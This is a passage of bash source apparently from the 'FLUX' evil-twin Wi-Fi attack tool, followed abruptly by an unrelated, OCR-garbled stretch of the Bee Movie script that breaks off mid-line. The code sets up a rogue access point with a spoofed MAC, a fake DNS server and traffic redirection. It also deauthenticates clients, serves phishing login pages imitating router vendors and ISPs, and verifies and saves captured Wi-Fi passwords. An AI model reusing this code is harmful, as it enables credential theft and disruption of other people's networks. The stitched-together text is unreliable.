\"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep 